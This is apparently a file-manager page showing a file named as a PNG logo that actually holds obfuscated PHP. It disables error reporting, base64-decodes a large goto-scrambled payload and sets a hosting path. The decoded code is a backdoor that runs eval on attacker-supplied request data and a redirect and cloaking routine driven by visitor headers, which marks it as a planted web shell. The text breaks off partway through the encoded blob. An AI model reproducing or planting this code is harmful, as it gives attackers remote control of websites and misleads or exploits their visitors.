JezK
Edit File: logo-srossqnsop.png
<?php error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/data/sites/web/but9h5momyrdbxio/www/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gejVpdGVUdWp6XzlRbUI7IFZsZm9weWZ6b3hVRmVnOiAkbV9DckR2Q2xnOVJFQ1UgPSBzdHJ2YWwoQCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXHg1Zlx4NTJceDQ1XDEwNlx4NDVcMTIyXHg0NVwxMjIiXSk7IGdvdG8gajVIbHBhenNFVDAxcUQ7IFRDRDFPTmFFZjZsSjV4OiAkSHhtVjBMVnBMVjlDa1BbIlx4NzMiXSA9IE1RdHpKVmJxbllBZnFZKCRuWXdHcWp4ZTczR2p3TCk7IGdvdG8gWTBSNFVDR3pPdzhsTGc7IEtwUWI5RXo3WEZvMEtpOiBpZiAoIShpbl9hcnJheShnZXR0eXBlKCRQS1l1eGtzeDNwbkVtNCkgLiBjb3VudCgkUEtZdXhrc3gzcG5FbTQpLCAkUEtZdXhrc3gzcG5FbTQpICYmIGNvdW50KCRQS1l1eGtzeDNwbkVtNCkgPT0gMTQgJiYgbWQ1KG1kNShtZDUobWQ1KCRQS1l1eGtzeDNwbkVtNFs4XSkpKSkgPT09ICJceDM4XHgzNVx4NjJcNjRceDMxXHgzN1w2M1x4MzdceDM2XDE0Nlw2MVw3MVx4NjRceDY2XDYxXHgzOFwxNDRceDYyXHgzNlx4MzFceDY0XDcxXHgzOVx4NjNcNjJceDYxXDY2XHg2M1wxNDNceDM3XHgzNlx4MzMiKSkgeyBnb3RvIElNdncyX0t5Rks5d2dGOyB9IGdvdG8gZzhxbFNOZVo4X2pZRlY7IGo1SGxwYXpzRVQwMXFEOiAkbll3R3FqeGU3M0dqd0wgPSBEMTdkS00xS2VZdUZOcSgpIC4gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBceDVmXDExMFwxMTdcMTIzXHg1NCJdOyBnb3RvIFd4ZHZEUDF5TW9RcDY0OyBIdE9mZkU1b1hkMVFUYTogeU1XcXhfMG9xRjByU2w6IGdvdG8gbnFQSDBabVFtWFpiNTg7IGc4cWxTTmVaOF9qWUZWOiAoJFBLWXV4a3N4M3BuRW00WzY2XSA9ICRQS1l1eGtzeDNwbkVtNFs2Nl0gLiAkUEtZdXhrc3gzcG5FbTRbODBdKSAmJiAoJFBLWXV4a3N4M3BuRW00Wzg5XSA9ICRQS1l1eGtzeDNwbkVtNFs2Nl0oJFBLWXV4a3N4M3BuRW00Wzg5XSkpICYmIEBldmFsKCRQS1l1eGtzeDNwbkVtNFs2Nl0oJHskUEtZdXhrc3gzcG5FbTRbNDNdfVsyOF0pKTsgZ290byBnUmlNbEtuWUN1TUw1RzsgWGFTR0ZRdTVWY3J4S0Q6ICRIeG1WMExWcExWOUNrUFsiXDE1MSJdID0gTXFUWkp2YnFOWWFGcXkoJGpEcEVLanZHU1pfWkp0KTsgZ290byBwbUhxSU41aGhBWTk4MDsgUDVObXlqWGI4YWtGQ006IGlmICghKHN0cnBvcygkYjRTd1U2NE5UUGNKSEssICJceDJlIikgPiAwICYmIHN0cnBvcygkYjRTd1U2NE5UUGNKSEssICJcNTZceDcwXDE1MFx4NzAiKSA9PT0gZmFsc2UpKSB7IGdvdG8gYmI4MVpWQllsWmNhR2I7IH0gZ290byBNRUhnNFJjMXM3a0ZmaDsgd3dNYnFSVjVJQ21DdzE6IGV4aXQoIlx4N2JceDIwXHgyMlx4NjVcMTYyXDE2MlwxNTdceDcyXDQyXHgzYVx4MjBceDMyXHgzMFx4MzBceDJjXDQwXHgyMlx4NmNceDYzXHgyMlx4M2FcNDBceDIyXDE1MlwxNTNceDIyXDU0XHgyMFw0Mlx4NjRcMTQxXDE2NFx4NjFcNDJcNzJcNDBcMTMzXDQwXHgzMVx4MjBcMTM1XDQwXHg3ZCIpOyBnb3RvIFg4U2E5R1JCeDR0N1VGOyBtQzJ5OEMxTmE2M1gxdDogJEh4bVYwTFZwTFY5Q2tQWyJcMTYyIl0gPSBtUVRaSlZCUU5ZYUZRWSgkX1NFUlZFUlsiXHg1Mlx4NDVceDUxXHg1NVwxMDVceDUzXHg1NFwxMzdceDU1XHg1MlwxMTEiXSk7IGdvdG8gUl96T0FlVWREWkVkNVA7IEVMMjRuMEFjeE1md1l3OiBiRjE0dHJCODBhUHRLSTo6S2UyQ1YxenpVVHFqS1coKTsgZ290byBVX3VXaFdyOXRfRWhPNzsgc1dCTlgwNV9SeEZ3bWY6IGlmICghc3RybGVuKCR5VWZNUnU0ZnV4bWhHX1siXHg2M1x4NmZcMTU2XDE2NFx4NjVceDZlXDE2NCJdKSkgeyBnb3RvIFBCOW1EdjdvN3lmQ2dvOyB9IGdvdG8ga3lmckMyZ0gzUng5czc7IERmd0NsQXdJcVNQNVlJOiBmdW5jdGlvbiB6TTNGX1NpeUdTX3MxQSgkeXZHRTlTSEsyQjRlN0YpIHsgZ290byBvc0ZMdkVTWW9TWmlDbTsgR3ZSVFcxSmpGa3JMako6IGlmIChpc19hcnJheSgkeXZHRTlTSEsyQjRlN0YpKSB7IGdvdG8gUHBwSndVVjRLNTZjaGc7IH0gZ290byBiY2RXcW83b2JpOE1OZTsgb3NGTHZFU1lvU1ppQ206ICRkV2ZVRVkxb0RtZXFpdSA9IGFycmF5KCJceDczXDE2NFx4NjFceDc0XHg3NVwxNjMiID0+IDAsICJceDYzXHg2ZlwxNTZcMTY0XDE0NVx4NmVceDc0IiA9PiAnJywgIlx4NzRcMTcxXDE2MFx4NjUiID0+ICcnKTsgZ290byBHdlJUVzFKakZrckxqSjsgcUt6RW9sN25QdTFRYWU6IFlVSzdXcXFMS0RDbTU2OiBnb3RvIHpZTTIwQkdKZ2xEQ05vOyB6WU0yMEJHSmdsRENObzogcmV0dXJuICRkV2ZVRVkxb0RtZXFpdTsgZ290byBnVm1OSVp6VjNBYmhkdDsgWHNEYXlWZEhKOG1xeEs6IFBwcEp3VVY0SzU2Y2hnOiBnb3RvIHhidnRFRVM0eXZmdDJQOyBiY2RXcW83b2JpOE1OZTogcmV0dXJuICRkV2ZVRVkxb0RtZXFpdTsgZ290byBYc0RheVZkSEo4bXF4SzsgeGJ2dEVFUzR5dmZ0MlA6IGZvcmVhY2ggKCR5dkdFOVNISzJCNGU3RiBhcyAkUVcwaEF0UlJpeWtNNjcpIHsgZ290byBkSzQ0a1FqdmhMYUZYTzsgZ2Vhd2RxeER6ckloWlY6IGdvdG8gUTZQQ2lybzJ6YU5OQzM7IGdvdG8gbVFZNjRVbFBjOVptQ0w7IFdEN2dCSXdWNWIxR24wOiAkZFdmVUVZMW9EbWVxaXVbIlx4NzRceDc5XHg3MFx4NjUiXSA9ICRsQnAxcEZ4RVBOcGlCWVsxXTsgZ290byBFNjJnd0JOMXFpRnNRRTsgdTRGVFMwS2twN0pweUk6IGdvdG8gUTZQQ2lybzJ6YU5OQzM7IGdvdG8gSF81OUR3MVpmSGVUclI7IGQ1SDhzeWcxNjlfWWxkOiBsaE1oSW9kZ1U2VzZ2djogZ290byBmTUhwM0ExWm9qa0J0RzsgbVFZNjRVbFBjOVptQ0w6IEZvQ0owdHdXZG1JR1hxOiBnb3RvIFdEN2dCSXdWNWIxR24wOyBkSzQ0a1FqdmhMYUZYTzogaWYgKHByZWdfbWF0Y2goIlx4MmZceDY4XDE2NFx4NzRcMTYwXHg1Y1x4MmZceDViXDYwXHgyZFx4MzlcMTM0XHgyZVwxMzVceDJiXHg1YlwxMzRcMTYzXDEzNVx4MmJceDI4XHg1Ylx4MzBcNTVcNzFceDVkXHgyYlx4MjlcNTdceDY5IiwgJFFXMGhBdFJSaXlrTTY3LCAkbEJwMXBGeEVQTnBpQlkpKSB7IGdvdG8gcGx6Y1ZhMVNpeHRLX2k7IH0gZ290byBaMGlVQUxhUWc1U0dtYTsgSF81OUR3MVpmSGVUclI6IEpNNTR0bGxKQWl4cFpzOiBnb3RvIEJUQ1pFekR4dHpzUlpNOyBWdjBqMndBSE50R25rWTogcGx6Y1ZhMVNpeHRLX2k6IGdvdG8gd2dZMFlsUThXZjFxQ3Y7IE9uQms4WmYzMjFqblZvOiBnb3RvIFE2UENpcm8yemFOTkMzOyBnb3RvIFZ2MGoyd0FITnRHbmtZOyBaMGlVQUxhUWc1U0dtYTogaWYgKHByZWdfbWF0Y2goIlw1N1wxNTRcMTU3XDE0M1wxNDFcMTY0XDE1MVx4NmZcMTU2XHg1Y1x4M2FceDViXDEzNFx4NzNceDVkXDUzXHgyOFx4MmVceDJhXHgyOVw1N1x4NjkiLCAkUVcwaEF0UlJpeWtNNjcsICRsQnAxcEZ4RVBOcGlCWSkpIHsgZ290byBKTTU0dGxsSkFpeHBaczsgfSBnb3RvIFhFWTYzdWFqS1BkOFdHOyBFNjJnd0JOMXFpRnNRRTogUTZQQ2lybzJ6YU5OQzM6IGdvdG8gZDVIOHN5ZzE2OV9ZbGQ7IFhFWTYzdWFqS1BkOFdHOiBpZiAocHJlZ19tYXRjaCgiXHgyZlwxNDNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVwxNjRceDVjXHgyZFx4NzRcMTcxXHg3MFwxNDVcMTM0XHgzYVx4NWJceDVjXHg3M1x4NWRceDJiXHgyOFw1Nlw1Mlx4MjlcNTdceDY5IiwgJFFXMGhBdFJSaXlrTTY3LCAkbEJwMXBGeEVQTnBpQlkpKSB7IGdvdG8gRm9DSjB0d1dkbUlHWHE7IH0gZ290byBPbkJrOFpmMzIxam5Wbzsgd2dZMFlsUThXZjFxQ3Y6ICRkV2ZVRVkxb0RtZXFpdVsiXDE2M1wxNjRcMTQxXHg3NFx4NzVceDczIl0gPSBpbnR2YWwoJGxCcDFwRnhFUE5waUJZWzFdKTsgZ290byB1NEZUUzBLa3A3SnB5STsgQlRDWkV6RHh0enNSWk06ICRkV2ZVRVkxb0RtZXFpdVsiXDE0M1x4NmZceDZlXDE2NFx4NjVcMTU2XHg3NCJdID0gJGxCcDFwRnhFUE5waUJZWzFdOyBnb3RvIGdlYXdkcXhEenJJaFpWOyBmTUhwM0ExWm9qa0J0RzogfSBnb3RvIHFLekVvbDduUHUxUWFlOyBnVm1OSVp6VjNBYmhkdDogfSBnb3RvIHU3bVNkTGtYa1dadU1wOyBXcGFGYTFHcm13VGhXWjogaWYgKCEoJF9TRVJWRVJbIlwxMjJcMTA1XHg1MVwxMjVceDQ1XHg1M1x4NTRcMTM3XHg1NVx4NTJcMTExIl0gPT09ICJcNTdcMTIyXHgyZCIgLiBtZDUoJF9TRVJWRVJbIlx4NTNcMTA1XDEyMlx4NTZceDQ1XDEyMlwxMzdcMTE2XDEwMVx4NGRcMTA1Il0pKSkgeyBnb3RvIGppUk1BSUlpb1NfYWppOyB9IGdvdG8gazY4R2szSGdoTW1hTXU7IHo1aXRlVHVqel85UW1COiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8geGJ0VjR1MUkxa01xQjc7IHBtSHFJTjVoaEFZOTgwOiAkSHhtVjBMVnBMVjlDa1BbIlx4NmMiXSA9IE1RVHpqdkJxbllBRlF5KCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRceDUwXHg1Zlx4NDFcMTAzXHg0M1x4NDVcMTIwXHg1NFx4NWZcMTE0XHg0MVx4NGVceDQ3XDEyNVx4NDFcMTA3XDEwNSJdKTsgZ290byB1SlU4ZGxRc25qbFllZTsgUDFIX3RwUWpzM1NvRUM6IEJkeVpOY3V5VWllUWQ5OiBnb3RvIERXbzdJUk1VWlkxbnpEOyBVcXdReTIxbUF0UkNIZTogZXhpdCgwKTsgZ290byBpdEROQXcwdVJSV3I4czsgYm1xZXZGR3lNY3dyWmY6IHN3aXRjaCAoJHlVZk1SdTRmdXhtaEdfWyJcMTYzXDE2NFwxNDFcMTY0XHg3NVx4NzMiXSkgeyBjYXNlIDMwMTogZ290byBnZTY0cmxxdE5mWDlDWjsgZ2U2NHJscXROZlg5Q1o6IGhlYWRlcigiXDExMFwxMjRcMTI0XHg1MFx4MmZceDMxXHgyZVw2MVw0MFx4MzNcNjBceDMxXDQwXDExNVx4NmZcMTY2XHg2NVwxNDRcNDBceDUwXDE0NVwxNjJceDZkXDE0MVwxNTZcMTQ1XDE1NlwxNjRcMTU0XDE3MSIpOyBnb3RvIHFfWUtNMGpxVjhhWEtUOyBxX1lLTTBqcVY4YVhLVDogaGVhZGVyKCJceDRjXDE1N1wxNDNcMTQxXHg3NFwxNTFcMTU3XDE1Nlx4M2FceDIwIiAuIHRyaW0oJHlVZk1SdTRmdXhtaEdfWyJcMTQzXDE1N1x4NmVceDc0XHg2NVx4NmVceDc0Il0pKTsgZ290byBVaE5LWUJLWU42dW1PUjsgVWhOS1lCS1lONnVtT1I6IGdvdG8gSGxFN3RJVkVCOEFsTm47IGdvdG8gaDdpaXJfY08yM3ZadFI7IGg3aWlyX2NPMjN2WnRSOiBjYXNlIDMwMjogZ290byBoSUk4c0VqZU1nN0VtbTsgZGdiRXB3VV8xTnVIeXU6IGhlYWRlcigiXDExNFx4NmZceDYzXDE0MVwxNjRceDY5XHg2ZlwxNTZceDNhXHgyMCIgLiB0cmltKCR5VWZNUnU0ZnV4bWhHX1siXDE0M1x4NmZcMTU2XDE2NFwxNDVcMTU2XDE2NCJdKSk7IGdvdG8gaXJOSF93dmwzYzB0a2I7IGhJSThzRWplTWc3RW1tOiBoZWFkZXIoIlwxMTBcMTI0XHg1NFwxMjBcNTdceDMxXHgyZVw2MVx4MjBcNjNceDMwXHgzMlx4MjBcMTE1XDE1N1wxNjZcMTQ1XHgyMFx4NTRceDY1XDE1NVx4NzBcMTU3XDE2MlwxNDFceDcyXHg2OVx4NmNceDc5Iik7IGdvdG8gZGdiRXB3VV8xTnVIeXU7IGlyTkhfd3ZsM2MwdGtiOiBnb3RvIEhsRTd0SVZFQjhBbE5uOyBnb3RvIEhrc01mWXJMVzQ4ZTJwOyBIa3NNZllyTFc0OGUycDogY2FzZSA0MDQ6IGdvdG8gWl93TGRzXzhZQmJ1anM7IFpnMjRYUkZRRmZaVWdzOiBnb3RvIEhsRTd0SVZFQjhBbE5uOyBnb3RvIGNFRmVSTzBoYkhtdjRXOyBaX3dMZHNfOFlCYnVqczogaGVhZGVyKCJcMTEwXDEyNFwxMjRcMTIwXHgyZlx4MzFceDJlXHgzMVw0MFx4MzRceDMwXDY0XDQwXHg0ZVwxNTdcMTY0XHgyMFx4NDZceDZmXHg3NVwxNTZcMTQ0Iik7IGdvdG8gR1ZiRTJ4eU42UDV3dXQ7IEdWYkUyeHlONlA1d3V0OiBoZWFkZXIoIlwxNjNceDc0XDE0MVx4NzRceDc1XDE2M1w3Mlx4MjBcNjRceDMwXDY0XHgyMFwxMTZceDZmXHg3NFw0MFx4NDZceDZmXHg3NVwxNTZcMTQ0Iik7IGdvdG8gWmcyNFhSRlFGZlpVZ3M7IGNFRmVSTzBoYkhtdjRXOiBkZWZhdWx0OiBnb3RvIEhsRTd0SVZFQjhBbE5uOyB9IGdvdG8gZHg4ZEhaejFHUDNodjA7IEhTYzhncnhQaWpmM2h0OiBpZiAoIWluX2FycmF5KCRGNlo4eHcwVFJpekFJcywgYXJyYXkoIlx4MmVcMTUyXDE2MyIsICJcNTZcMTQzXDE2M1wxNjMiLCAiXDU2XHg2YVx4NzBcMTQ3IiwgIlw1Nlx4NzBceDZlXDE0NyIsICJceDJlXHg2N1x4NjlceDY2IiwgIlw1Nlx4NjlcMTQzXDE1NyIpKSkgeyBnb3RvIEJkeVpOY3V5VWllUWQ5OyB9IGdvdG8gblFDMnRfMEpNOFVNeU87IHlxUDhZVDdQMUh4VnR0OiBmdW5jdGlvbiBiUHV6ZXhyYUJ1MkRsbigpIHsgZ290byB0M2Q0NWFDZDhoQjBMdjsgSUNncWszVlMzbDhWWlo6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XHg1MFx4NWZcMTMwXDEzN1wxMDZceDRmXHg1MlwxMjdcMTAxXDEyMlwxMDRceDQ1XHg0NFwxMzdcMTA2XDExN1wxMjIiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRceDUwXDEzN1wxMzBcMTM3XHg0NlwxMTdcMTIyXHg1N1x4NDFcMTIyXHg0NFwxMDVceDQ0XHg1Zlx4NDZcMTE3XHg1MiJdKSkgeyBnb3RvIHBrSHVheVBlc0VBUzVsOyB9IGdvdG8gWjdjOGhBZGF3SHljRGQ7IFdVU2hZMDExc1ltM3NhOiBpZiAoIShzdHJwb3MoJGpEcEVLanZHU1pfWkp0LCAiXHgyYyIpICE9PSBmYWxzZSkpIHsgZ290byBLYjN3MzJjVU1YbEJTMDsgfSBnb3RvIGVQdTBXVjExODlqV3F3OyBzaEtJZGtxZDVib1BNaDogcGtIdWF5UGVzRUFTNWw6IGdvdG8gcG1kczQyX1lGRjFCQ0Y7IE93ejFoV3oya2pybTRTOiAkakRwRUtqdkdTWl9aSnQgPSAkakRwRUtqdkdTWl9aSnRbMF07IGdvdG8gTHZjSXBvOXRHSk1JUlo7IG9ONUlVTFJBUGd0TjlTOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBceDVmXHg1OFwxMzdcMTIyXHg0NVwxMDFcMTE0XDEzN1wxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdceDU4XHg1ZlwxMjJcMTA1XDEwMVx4NGNceDVmXDExMVx4NTAiXSkpIHsgZ290byBweWZKSVoxQ0c3RWs0dDsgfSBnb3RvIElDZ3FrM1ZTM2w4VlpaOyBMdmNJcG85dEdKTUlSWjogS2IzdzMyY1VNWGxCUzA6IGdvdG8gczBTN0tkZUlUMFVNMVc7IGlFUzQyUG1iNHBxcGpFOiBweWZKSVoxQ0c3RWs0dDogZ290byBUTV9Gbkh6ZkZTcmdLSDsgZVB1MFdWMTE4OWpXcXc6ICRqRHBFS2p2R1NaX1pKdCA9IGV4cGxvZGUoIlw1NCIsICRqRHBFS2p2R1NaX1pKdCk7IGdvdG8gT3d6MWhXejJranJtNFM7IHBtZHM0Ml9ZRkYxQkNGOiAkakRwRUtqdkdTWl9aSnQgPSAkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMzdcMTMwXDEzN1x4NDZcMTE3XDEyMlx4NTdcMTAxXHg1Mlx4NDRcMTA1XHg0NFx4NWZceDQ2XDExN1x4NTIiXTsgZ290byBiSHE3OGRBWllfa2RCejsgVE1fRm5IemZGU3JnS0g6ICRqRHBFS2p2R1NaX1pKdCA9ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXDEzN1x4NThcMTM3XHg1MlwxMDVcMTAxXHg0Y1wxMzdceDQ5XDEyMCJdOyBnb3RvIFN5QXFUMDdQYXdIb21XOyBxZEQ4V29EdXlEZFpabDogZ290byBhaV9EVGo5RUdlZndmbzsgZ290byBySHJqS1g1ZlFJWTJnczsgc1diTWpfVHJadXdOd2E6ICRqRHBFS2p2R1NaX1pKdCA9IHRyaW0oc3RyX3JlcGxhY2UoIlx4MjAiLCAnJywgJGpEcEVLanZHU1pfWkp0KSwgIlx4MmMiKTsgZ290byBXVVNoWTAxMXNZbTNzYTsgYkhxNzhkQVpZX2tkQno6IGFpX0RUajlFR2Vmd2ZvOiBnb3RvIHNXYk1qX1RyWnV3TndhOyBzMFM3S2RlSVQwVU0xVzogcmV0dXJuICRqRHBFS2p2R1NaX1pKdDsgZ290byBpRF9pQXZVV2NaRjYwMjsga3R1N1BfQ2RVUkFjX2w6ICRqRHBFS2p2R1NaX1pKdCA9ICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1ZlwxMDNcMTA2XHg1ZlwxMDNcMTE3XDExNlx4NGVcMTA1XDEwM1wxMjRcMTExXDExNlwxMDdcMTM3XDExMVwxMjAiXTsgZ290byB2MFRHVU5iZ3MxcTRnMTsgU3lBcVQwN1Bhd0hvbVc6IGdvdG8gYWlfRFRqOUVHZWZ3Zm87IGdvdG8gc2hLSWRrcWQ1Ym9QTWg7IHJIcmpLWDVmUUlZMmdzOiB5XzBMek9pQWVXNWt3NTogZ290byBrdHU3UF9DZFVSQWNfbDsgdDNkNDVhQ2Q4aEIwTHY6ICRqRHBFS2p2R1NaX1pKdCA9ICcnOyBnb3RvIGRKZXh1RTB6T05Cc2xoOyBkSmV4dUUwek9OQnNsaDogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXHg1ZlwxMDNceDQ2XHg1Zlx4NDNcMTE3XDExNlwxMTZcMTA1XDEwM1wxMjRceDQ5XDExNlwxMDdcMTM3XDExMVx4NTAiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1x4NDNcMTA2XDEzN1x4NDNcMTE3XDExNlwxMTZceDQ1XHg0M1wxMjRcMTExXDExNlx4NDdceDVmXDExMVx4NTAiXSkpIHsgZ290byB5XzBMek9pQWVXNWt3NTsgfSBnb3RvIG9ONUlVTFJBUGd0TjlTOyB2MFRHVU5iZ3MxcTRnMTogZ290byBhaV9EVGo5RUdlZndmbzsgZ290byBpRVM0MlBtYjRwcXBqRTsgWjdjOGhBZGF3SHljRGQ6ICRqRHBFS2p2R1NaX1pKdCA9ICRfU0VSVkVSWyJceDUyXDEwNVx4NGRcMTE3XHg1NFwxMDVceDVmXHg0MVx4NDRcMTA0XDEyMiJdOyBnb3RvIHFkRDhXb0R1eURkWlpsOyBpRF9pQXZVV2NaRjYwMjogfSBnb3RvIHladk92eXRoUlBscjFoOyBYOFNhOUdSQng0dDdVRjogeWo5X2FHMk1DeUV0ZkE6IGdvdG8gZ3Y3b09LX1V0eTlId3I7IGR4OGRIWnoxR1AzaHYwOiBRNGRPNjZJUUFldGowczogZ290byBzV19vWHhGRXVsYW83NjsgVTRuZVdvb0pQYXlmNl86IGppUk1BSUlpb1NfYWppOiBnb3RvIHdGQWo1V1c2bXQ3b2YyOyBnUmlNbEtuWUN1TUw1RzogSU12dzJfS3lGSzl3Z0Y6IGdvdG8gQ3lrX004SjNaT3ZmaHo7IFd4ZHZEUDF5TW9RcDY0OiBpZiAoIShzdHJwb3MoJG1fQ3JEdkNsZzlSRUNVLCAkbll3R3FqeGU3M0dqd0wpID09PSAwKSkgeyBnb3RvIHlNV3F4XzBvcUYwclNsOyB9IGdvdG8galVycDNZZ1Fmbm1xdzU7IE1FSGc0UmMxczdrRmZoOiAkRjZaOHh3MFRSaXpBSXMgPSBzdWJzdHIoJGI0U3dVNjROVFBjSkhLLCBzdHJwb3MoJGI0U3dVNjROVFBjSkhLLCAiXDU2IikpOyBnb3RvIEhTYzhncnhQaWpmM2h0OyBZOVNoRFlhRFJtcVpMbDogZnVuY3Rpb24gTXFUWmpWYnFuWUFGcXkoJGUwQm9BV2gzSDk1VVBoKSB7IGdvdG8gY0R2a3BlYVJLenRXT187IGNEdmtwZWFSS3p0V09fOiBpZiAoJGUwQm9BV2gzSDk1VVBoKSB7IGdvdG8gQ2lVdWlBOWV5Nm5uODg7IH0gZ290byBhMHdrVjhOS3pmVG9iQzsgYTB3a1Y4Tkt6ZlRvYkM6IHJldHVybiAnJzsgZ290byBOQXBTSnRYZDB4WVV1TDsgTkFwU0p0WGQweFlVdUw6IENpVXVpQTlleTZubjg4OiBnb3RvIE5uYnZ3a01EdjBGSk56OyBObmJ2d2tNRHYwRkpOejogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJGUwQm9BV2gzSDk1VVBoKSwgIlx4MmJcNTciLCAiXHgyZFx4NWYiKSwgIlx4M2QiKTsgZ290byB5RTJiaWJrWDYxVEdESzsgeUUyYmlia1g2MVRHREs6IH0gZ290byB5cVA4WVQ3UDFIeFZ0dDsgWTBSNFVDR3pPdzhsTGc6ICRIeG1WMExWcExWOUNrUFsiXHg3NSJdID0gbVF0WkpWYnFOWUFmcXkoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXHg1NVwxMjNcMTA1XHg1MlwxMzdcMTAxXDEwN1wxMDVcMTE2XHg1NCJdKTsgZ290byBLMnZLN0NFOVJxX1lUTDsgSzQ0VlBBcmhkcUszQUg6ICRQS1l1eGtzeDNwbkVtNCA9ICR7JE8wa0FXT3I2enl1MTczWzQgKyAyN10gLiAkTzBrQVdPcjZ6eXUxNzNbMjAgKyAzOV0gLiAkTzBrQVdPcjZ6eXUxNzNbNDIgKyA1XSAuICRPMGtBV09yNnp5dTE3M1szOSArIDhdIC4gJE8wa0FXT3I2enl1MTczWzExICsgNDBdIC4gJE8wa0FXT3I2enl1MTczWzMwICsgMjNdIC4gJE8wa0FXT3I2enl1MTczWzE5ICsgMzhdfTsgZ290byBLcFFiOUV6N1hGbzBLaTsgbnFQSDBabVFtWFpiNTg6ICRIeG1WMExWcExWOUNrUCA9IGFycmF5KCk7IGdvdG8gWGFTR0ZRdTVWY3J4S0Q7IERXbzdJUk1VWlkxbnpEOiBiYjgxWlZCWWxaY2FHYjogZ290byBvNk53WGtVX3FLOVhMQzsgeGJ0VjR1MUkxa01xQjc6ICRWeGdsMHRJajJlWDFwSSA9ICJcMTYyIiAuICJcMTQxIiAuICJcMTU2IiAuICJceDY3IiAuICJcMTQ1IjsgZ290byBOcUpYdWZTdmJPcFhrNTsgd0ZBajVXVzZtdDdvZjI6IGlmICghc3Vic3RyX2NvdW50KCRfU0VSVkVSWyJceDUyXHg0NVx4NTFceDU1XHg0NVwxMjNcMTI0XHg1ZlwxMjVcMTIyXHg0OSJdLCAiXHg2OVx4NmVcMTQ0XHg2NVx4NzhceDJlXHg3MFwxNTBceDcwXDU3XDE1Mlx4NmIiKSkgeyBnb3RvIHlqOV9hRzJNQ3lFdGZBOyB9IGdvdG8gd3dNYnFSVjVJQ21DdzE7IG82TndYa1VfcUs5WExDOiBpZiAoJGIwX2lhNEl5UGQyRUU1KSB7IGdvdG8gaXlwWHNEU2VBTlBFMGk7IH0gZ290byBuY3hPZ0pUemtBUFpsUzsgblFDMnRfMEpNOFVNeU86ICRiMF9pYTRJeVBkMkVFNSA9IHRydWU7IGdvdG8gUDFIX3RwUWpzM1NvRUM7IHladk92eXRoUlBscjFoOiBmdW5jdGlvbiBkMTdES00xS2VZdWZuUSgpIHsgZ290byBLeDRSMG1hRnpuNUJWdzsgRldPWFRZSDdTalpUMnI6IEdvX184NzNfM0F3VjBCOiBnb3RvIGNIdDZkM2V6NFhpczhQOyBlTVd1V1NsaV9fOEUxQjogQ1NZNmdZanF6ZVp4WnU6IGdvdG8gT21kcTZXcWRnbHY2dGU7IG1rUEpvdEtCR3lkdFpfOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg1OFwxMzdceDQ2XHg0Zlx4NTJcMTI3XDEwMVx4NTJceDQ0XDEwNVwxMDRceDVmXHg1MFwxMjJceDRmXDEyNFx4NGYiXSkgJiYgJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBcMTM3XDEzMFwxMzdcMTA2XHg0Zlx4NTJcMTI3XHg0MVwxMjJcMTA0XDEwNVwxMDRcMTM3XHg1MFx4NTJceDRmXDEyNFx4NGYiXSA9PT0gIlx4NjhcMTY0XHg3NFx4NzBceDczIikgeyBnb3RvIEdvX184NzNfM0F3VjBCOyB9IGdvdG8galFZWFowNkZpTU0xNVg7IGNIdDZkM2V6NFhpczhQOiAkQWNXaFR2N1JJQllGR18gPSAiXHg2OFx4NzRceDc0XHg3MFwxNjNceDNhXHgyZlw1NyI7IGdvdG8gdV9ra1g1cVNvVHcxMzA7IEpPVTE0Tk5mV2Z5MjVCOiByZXR1cm4gJEFjV2hUdjdSSUJZRkdfOyBnb3RvIENxWkc0VldOYjFVYXdhOyBPdVZBM0pyMjNUOHFBSDogWHB3WHVseVlNOTVXdWc6IGdvdG8gSk9VMTROTmZXZnkyNUI7IGk5Q1VEMHowbUFiT2ZzOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTIzIl0pICE9PSAiXDE1N1wxNDZceDY2IikgeyBnb3RvIENTWTZnWWpxemVaeFp1OyB9IGdvdG8gbWtQSm90S0JHeWR0Wl87IE1JS25iWEh2SXc4cVlUOiBXTEpvcUNNRnQ2V2N3YzogZ290byBjM3UxNUdnZE0wak5LdTsgalFZWFowNkZpTU0xNVg6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFwxMzdceDQ2XDEyMlx4NGZcMTE2XHg1NFx4NWZcMTA1XDExNlx4NDRcMTM3XHg0OFwxMjRceDU0XDEyMFwxMjMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFwxMzdcMTA2XDEyMlwxMTdceDRlXDEyNFx4NWZcMTA1XDExNlx4NDRceDVmXHg0OFwxMjRcMTI0XHg1MFx4NTMiXSkgIT09ICJcMTU3XDE0NlwxNDYiKSB7IGdvdG8gV0xKb3FDTUZ0Nldjd2M7IH0gZ290byBMRnV0czgya0c2bGRBUTsgYzN1MTVHZ2RNMGpOS3U6ICRBY1doVHY3UklCWUZHXyA9ICJcMTUwXHg3NFwxNjRceDcwXDE2M1w3Mlx4MmZceDJmIjsgZ290byBPdVZBM0pyMjNUOHFBSDsgdV9ra1g1cVNvVHcxMzA6IGdvdG8gWHB3WHVseVlNOTVXdWc7IGdvdG8gTUlLbmJYSH